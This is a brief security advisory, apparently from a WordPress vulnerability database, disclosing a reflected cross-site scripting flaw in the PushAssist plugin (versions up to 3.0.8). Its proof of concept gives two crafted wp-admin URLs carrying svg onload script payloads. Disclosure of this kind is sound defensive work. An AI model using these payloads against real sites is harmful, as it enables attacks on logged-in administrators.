WordPress Plugin Vulnerabilities
PushAssist <= 3.0.8 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape various parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
Proof of Concept
Make a logged in admin open one of the URL below: https://example.com/wp-admin/admin.php?page=pushassist-create-account&response_message=<svg/onload=alert(/XSS/)> https://example.com/wp-admin/admin.php?page=pushassist-send-notifications&response_message=aaa&class="><svg/onload=alert(/XSS/)> (requires the plugin to be connected to a PushAssist account) Other URLs are affected, the above are just two of them
